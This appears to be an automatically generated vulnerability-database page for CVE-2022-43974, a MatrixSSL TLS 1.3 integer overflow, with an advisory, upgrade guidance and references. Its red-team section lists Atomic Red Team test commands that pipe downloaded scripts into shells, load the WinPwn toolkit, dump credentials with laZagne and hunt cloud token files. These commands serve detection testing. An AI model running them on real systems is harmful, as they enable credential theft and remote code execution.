CVE-2022-43974
Overview
This vulnerability is an integer overflow occurring within the matrixSslDecodeTls13 function of MatrixSSL versions 4.0.4 through 4.5.1. The flaw arises from improper handling of length values during TLS 1.3 message decoding, leading to miscalculated buffer sizes. The affected component is the TLS 1.3 message processing routine within the MatrixSSL cryptographic library.
Vulnerability Description
MatrixSSL 4.0.4 through 4.5.1 has an integer overflow in matrixSslDecodeTls13. A remote attacker might be able to send a crafted TLS Message to cause a buffer overflow and achieve remote code execution. This is fixed in 4.6.0.
Impact
An unauthenticated remote attacker can exploit this vulnerability by sending a crafted TLS 1.3 message to a server or client using the vulnerable MatrixSSL versions, resulting in a buffer overflow. This can lead to arbitrary remote code execution within the context of the affected application. The attack requires network access but no user interaction or privileges (AV:N/AC:H/PR:N/UI:N). Successful exploitation may allow full compromise of the affected system, impacting confidentiality, integrity, and availability.
Solution
Upgrade MatrixSSL to version 4.6.0 or later, as this release contains the fix for the integer overflow in matrixSslDecodeTls13. Detailed patch information and upgrade instructions are available in the official MatrixSSL GitHub security advisory (GHSA-fmwc-gwc5-2g29) and the changelog at https://github.com/matrixssl/matrixssl/blob/4-6-0-open/doc/CHANGES_v4.x.md. No alternative mitigations or workarounds are documented.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in MatrixSSL versions 4.0.4 through 4.5.1 is characterized by an integer overflow occurring within the matrixSslDecodeTls13 function. This flaw arises when the software improperly handles input data, specifically during the parsing of TLS messages. An integer overflow can lead to a situation where the allocated buffer for storing data is insufficient to hold the incoming data, resulting in a buffer overflow condition. This can allow an attacker to manipulate the TLS message in such a way that it overflows the buffer, potentially leading to arbitrary code execution on the affected system. The severity of this vulnerability is underscored by its high CVSS score of 9.8, indicating a critical risk to systems utilizing this version of MatrixSSL.
Exploitation of this vulnerability can occur through various attack vectors, primarily involving the transmission of specially crafted TLS messages to a vulnerable server. An attacker could leverage this flaw by establishing a connection with the target server and sending maliciously constructed TLS packets. If the server processes these packets without adequate validation, it may trigger the integer overflow, leading to a buffer overflow condition. This could allow the attacker to execute arbitrary code, potentially gaining control over the server or executing malicious payloads that compromise the integrity and confidentiality of the system. Given the widespread use of TLS for securing communications, the potential for exploitation is significant, making this a critical concern for organizations relying on MatrixSSL for secure communications.
The real-world impact of this vulnerability can be profound, particularly for businesses that depend on secure data transmission. Successful exploitation could lead to unauthorized access to sensitive data, including personal information, financial records, or proprietary business information. The ramifications of such breaches can include financial losses, reputational damage, and legal consequences stemming from non-compliance with data protection regulations. Furthermore, the ability to execute arbitrary code remotely could enable attackers to deploy malware, establish persistent access to the network, or launch further attacks against other systems within the organization. As such, the business risk associated with this vulnerability is substantial, necessitating immediate attention from security teams.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. First and foremost, upgrading to the fixed version of MatrixSSL (4.6.0 or later) is essential to eliminate the vulnerability. Regularly updating software components is a critical best practice in cybersecurity, as it ensures that known vulnerabilities are patched in a timely manner. Additionally, organizations should employ intrusion detection systems (IDS) and intrusion prevention systems (IPS) to monitor network traffic for signs of exploitation attempts. Implementing strict input validation and sanitization measures can also help mitigate the risk of buffer overflow attacks. Finally, conducting regular security assessments and penetration testing can help identify potential weaknesses in the system and ensure that security measures are effective.
In conclusion, the integer overflow vulnerability in MatrixSSL poses a significant threat to organizations that utilize this library for secure communications. The potential for remote code execution through crafted TLS messages highlights the critical need for vigilance in software management and security practices. By prioritizing timely updates, robust detection mechanisms, and proactive security measures, organizations can effectively mitigate the risks associated with this vulnerability and safeguard their systems against potential exploitation.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Matrixssl | Matrixssl | All |
cpe:2.3:a:matrixssl:matrixssl:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-92 | Forced Integer Overflow |
37%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-43974 |
| telekom.com |
GitHub CVE
|
https://www.telekom.com/en/company/data-privacy-and-security/news/advisories-504842 |
| github.com |
GitHub CVE
|
https://github.com/matrixssl/matrixssl/security/advisories/GHSA-fmwc-gwc5-2g29 |
| github.com |
GitHub CVE
|
https://github.com/matrixssl/matrixssl/blob/4-6-0-open/doc/CHANGES_v4.x.md |